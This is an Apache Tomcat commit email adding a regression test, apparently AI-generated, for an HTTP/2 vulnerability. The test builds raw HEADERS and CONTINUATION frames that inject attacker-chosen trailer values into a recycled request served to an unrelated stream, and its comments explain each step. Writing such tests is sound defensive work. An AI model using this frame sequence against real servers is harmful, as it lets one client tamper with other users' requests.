This is an automated email from the ASF dual-hosted git repository.

markt-asf pushed a commit to branch 10.1.x
in repository https://gitbox.apache.org/repos/asf/tomcat.git


The following commit(s) were added to refs/heads/10.1.x by this push:
     new f685706ccb Add test case for CVE-2026-77762
f685706ccb is described below

commit f685706ccb89a1b3dbf3a1310738d250493ee575
Author: Mark Thomas <[email protected]>
AuthorDate: Fri Aug 21 11:21:02 2026 +0100

    Add test case for CVE-2026-77762
    
    Generated-by: Claude Code / Sonnet 5
---
 .../org/apache/coyote/http2/TestHttp2Security.java | 246 +++++++++++++++++++++
 1 file changed, 246 insertions(+)

diff --git a/test/org/apache/coyote/http2/TestHttp2Security.java 
b/test/org/apache/coyote/http2/TestHttp2Security.java
new file mode 100644
index 0000000000..dc87c54b12
--- /dev/null
+++ b/test/org/apache/coyote/http2/TestHttp2Security.java
@@ -0,0 +1,246 @@
+/*
+ *  Licensed to the Apache Software Foundation (ASF) under one or more
+ *  contributor license agreements.  See the NOTICE file distributed with
+ *  this work for additional information regarding copyright ownership.
+ *  The ASF licenses this file to You under the Apache License, Version 2.0
+ *  (the "License"); you may not use this file except in compliance with
+ *  the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.apache.coyote.http2;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServlet;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import org.apache.catalina.Context;
+import org.apache.catalina.LifecycleException;
+import org.apache.catalina.startup.Tomcat;
+import org.apache.coyote.http11.AbstractHttp11Protocol;
+import org.apache.tomcat.util.http.MimeHeaders;
+
+/*
+ * Tests that can't easily be added to the {@code org.apache.tomcat.security} 
package because they need access to
+ * package private classes.
+ */
+public class TestHttp2Security extends Http2TestBase {
+
+    private static final String INJECTED_TRAILER_VALUE = 
"stolen-from-reset-stream-3";
+
+    /*
+     * Reproduces a stale HPACK HeaderEmitter reference surviving a 
server-side stream reset.
+     * <p>
+     * {@link HpackDecoder} holds a reference to the {@link Stream} (its 
{@link HpackDecoder.HeaderEmitter}) for the
+     * entire time a header block is open, i.e. from the HEADERS frame that 
starts it until the frame (HEADERS or
+     * CONTINUATION) that carries the END_HEADERS flag. That reference is only 
cleared early in two cases:
+     * {@link Http2Parser#afterHeadersCompleteCleanUp(boolean)} is called from 
{@link Http2Parser#readRstFrame} (RST
+     * frame *received from the client*) and from {@link 
Http2Parser#onHeadersComplete} (END_HEADERS seen). Nothing
+     * clears it when Tomcat resets the stream itself.
+     * <p>
+     * Separately, when a servlet completes its response without reading the 
full request body,
+     * {@code StreamProcessor.process()} takes the {@code 
!stream.isInputFinished()} branch, resets the stream
+     * (RST_STREAM, NO_ERROR, observed by the client) and, once the stream is 
replaced, {@link Stream#recycle()} pushes
+     * the (now recycled) {@code Request}/{@code Response} pair back into
+     * {@link Http2Protocol#recycledRequestsAndResponses} -- a stack shared by 
every stream the connector processes.
+     * <p>
+     * Combining the two: if the client leaves a trailer HEADERS frame for the 
just-reset stream open (no END_HEADERS)
+     * and only later completes it with a CONTINUATION frame, that 
CONTINUATION is decoded against the stale,
+     * already-recycled {@link Stream} object. Its {@link 
Stream#emitHeader(String, String)} writes straight into
+     * {@code coyoteRequest.getMimeTrailerFields()} -- but {@code 
coyoteRequest} is a {@code final} field, so it is the
+     * exact same {@code Request} instance later handed out (by {@link 
Http2Protocol#popRequestAndResponse()}) to
+     * whichever stream next pops it from the shared pool. The result is 
attacker-controlled trailer injection into an
+     * unrelated request.
+     * <p>
+     * Generated by Claude Code with Sonnet 5
+     */
+    @Test
+    public void testCVE_2026_77762() throws Exception {
+        http2Connect();
+
+        ((AbstractHttp11Protocol<?>) 
http2Protocol.getHttp11Protocol()).setAllowedTrailerHeaders(TRAILER_HEADER_NAME);
+
+        // 1) Stream 3: announce a POST but never send (or read) a body. The
+        // "/noread" servlet completes its response immediately, so Tomcat's
+        // StreamProcessor will notice the request body was never fully read
+        // and reset the stream (NO_ERROR) once processing finishes.
+        sendHeadersNoBody(3, "/noread");
+
+        // 2) Without waiting for that reset, the (attacker-controlled) client
+        // immediately starts a *trailer* header block for the same stream,
+        // but withholds END_HEADERS. NoReadServlet sleeps briefly on its own
+        // (separate, worker) thread before completing, which gives the
+        // connection's parser thread -- blocked on nothing but a handful of
+        // already-buffered bytes -- more than enough time to process this
+        // frame first. Http2Parser.readHeadersFrame() points hpackDecoder's
+        // HeaderEmitter at the (still, for now, live) Stream 3 object, and
+        // Http2Parser.headersCurrentStream is left pointing at stream 3
+        // because the header block was not closed.
+        //
+        // This ordering matters: Stream.close() -> Stream.replace() swaps the
+        // Stream 3 entry in Http2UpgradeHandler's stream map for a lightweight
+        // stub the instant the reset happens, so a HEADERS frame for stream 3
+        // arriving *after* that point would be rejected outright (the parser
+        // would treat streamId 3 as an unknown/new stream and close the
+        // connection with a PROTOCOL_ERROR). Sending this before the reset
+        // sidesteps that: Http2Parser.readContinuationFrame() (step 3 below)
+        // never re-checks the stream map at all, it just trusts whatever
+        // object hpackDecoder.getHeaderEmitter() already holds -- which is
+        // why the swap does not save it once the header block is open.
+        sendOrphanedTrailerHeadersStart(3);
+
+        Assert.assertTrue("Server did not reset stream 3 for the unread 
request body", readUntilStreamReset(3));
+
+        // 3) ... arbitrarily later, from the parser's perspective (a
+        // client-controlled pause) ... the CONTINUATION that finally closes
+        // that header block arrives. Nothing severed the emitter in the
+        // meantime (that only happens on END_HEADERS or on an RST *received*
+        // from the client - neither happened here), so the header it carries
+        // is delivered straight into the stale Stream 3 object, which writes
+        // it into the shared, recycled Request via getMimeTrailerFields().
+        sendOrphanedTrailerContinuation(3, TRAILER_HEADER_NAME, 
INJECTED_TRAILER_VALUE);
+
+        // 4) A brand new stream is opened. Its Stream pops a Request/Response
+        // pair from the shared pool. Since nothing else has touched the pool,
+        // it pops back the exact same (now poisoned) Request that stream 3's
+        // orphaned trailer just wrote into.
+        output.setTraceBody(true);
+        sendSimplePostRequest(5, null);
+
+        // Stream 5 never sent any trailers of its own, so the only way its
+        // response can contain the injected value is via the reused,
+        // shared Request object.
+        boolean foundInjectedTrailer = false;
+        for (int i = 0; i < 20 && parser.readFrame(); i++) {
+            String trace = output.getTrace();
+            if (trace.contains(INJECTED_TRAILER_VALUE)) {
+                foundInjectedTrailer = true;
+            }
+            if (trace.contains("5-EndOfStream")) {
+                break;
+            }
+        }
+
+        // This is expected to fail until the HeaderEmitter held by
+        // HpackDecoder is severed when Tomcat itself resets a stream (not
+        // just on END_HEADERS or a client-sent RST for that stream), and/or
+        // Stream.emitHeader() is prevented from writing into a Request that
+        // has already been recycled.
+        Assert.assertFalse("Trailer value injected via stream 3's orphaned 
trailer CONTINUATION (sent after " +
+                "stream 3 was reset for an unread request body) leaked into 
stream 5's unrelated request/response " +
+                "via the shared, recycled Request object. Trace:\n" + 
output.getTrace(), foundInjectedTrailer);
+    }
+
+
+    private void sendHeadersNoBody(int streamId, String path) throws 
IOException {
+        byte[] headersFrameHeader = new byte[9];
+        ByteBuffer headersPayload = ByteBuffer.allocate(128);
+        byte[] dataFrameHeader = new byte[9];
+        ByteBuffer dataPayload = ByteBuffer.allocate(128);
+
+        buildPostRequest(headersFrameHeader, headersPayload, false, null, -1, 
path, dataFrameHeader, dataPayload, null,
+                false, streamId);
+        // Only write the HEADERS frame. Deliberately never write the DATA
+        // frame (and therefore never send END_STREAM) so the request body
+        // is left permanently incomplete from Tomcat's point of view.
+        writeFrame(headersFrameHeader, headersPayload);
+    }
+
+
+    private boolean readUntilStreamReset(int streamId) throws Exception {
+        String target = streamId + "-RST-[" + Http2Error.NO_ERROR.getCode() + 
"]\n";
+        for (int i = 0; i < 20 && parser.readFrame(); i++) {
+            if (output.getTrace().contains(target)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    private void sendOrphanedTrailerHeadersStart(int streamId) throws 
IOException {
+        byte[] frameHeader = new byte[9];
+        ByteBuffer payload = ByteBuffer.allocate(0);
+
+        ByteUtil.setThreeBytes(frameHeader, 0, 0);
+        frameHeader[3] = FrameType.HEADERS.getIdByte();
+        // Flags: END_STREAM (0x01) only. Trailer HEADERS frames must set
+        // END_STREAM (Stream.receivedStartOfHeaders() sets a headerException
+        // otherwise, which would make emitHeader() a no-op below).
+        // Deliberately NOT setting END_HEADERS (0x04): this leaves the header
+        // block open on the wire, exactly as a client pausing before sending
+        // the CONTINUATION would.
+        frameHeader[4] = 0x01;
+        ByteUtil.set31Bits(frameHeader, 5, streamId);
+
+        writeFrame(frameHeader, payload);
+    }
+
+
+    private void sendOrphanedTrailerContinuation(int streamId, String name, 
String value) throws IOException {
+        byte[] frameHeader = new byte[9];
+        ByteBuffer payload = ByteBuffer.allocate(128);
+
+        MimeHeaders injected = new MimeHeaders();
+        injected.addValue(name).setString(value);
+        hpackEncoder.encode(injected, payload);
+        payload.flip();
+
+        ByteUtil.setThreeBytes(frameHeader, 0, payload.limit());
+        frameHeader[3] = FrameType.CONTINUATION.getIdByte();
+        // Flags: END_HEADERS (0x04). This finally closes the header block
+        // that was left open by sendOrphanedTrailerHeadersStart().
+        frameHeader[4] = 0x04;
+        ByteUtil.set31Bits(frameHeader, 5, streamId);
+
+        writeFrame(frameHeader, payload);
+    }
+
+
+    @Override
+    protected void configureAndStartWebApplication() throws LifecycleException 
{
+        Tomcat tomcat = getTomcatInstance();
+
+        Context ctxt = getProgrammaticRootContext();
+        Tomcat.addServlet(ctxt, "simple", new SimpleServlet());
+        ctxt.addServletMapping("/simple", "simple");
+        Tomcat.addServlet(ctxt, "noread", new NoReadServlet());
+        ctxt.addServletMapping("/noread", "noread");
+
+        tomcat.start();
+    }
+
+
+    private static class NoReadServlet extends HttpServlet {
+
+        private static final long serialVersionUID = 1L;
+
+        @Override
+        protected void doPost(HttpServletRequest req, HttpServletResponse 
resp) throws ServletException, IOException {
+            // Give the test time to open (but not close) a trailer header
+            // block for this stream on the connection's parser thread before
+            // this (separate, worker) thread completes the response without
+            // having read any part of the (announced but never sent) request
+            // body -- which is what makes Tomcat reset this stream.
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            resp.setStatus(HttpServletResponse.SC_OK);
+        }
+    }
+}


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to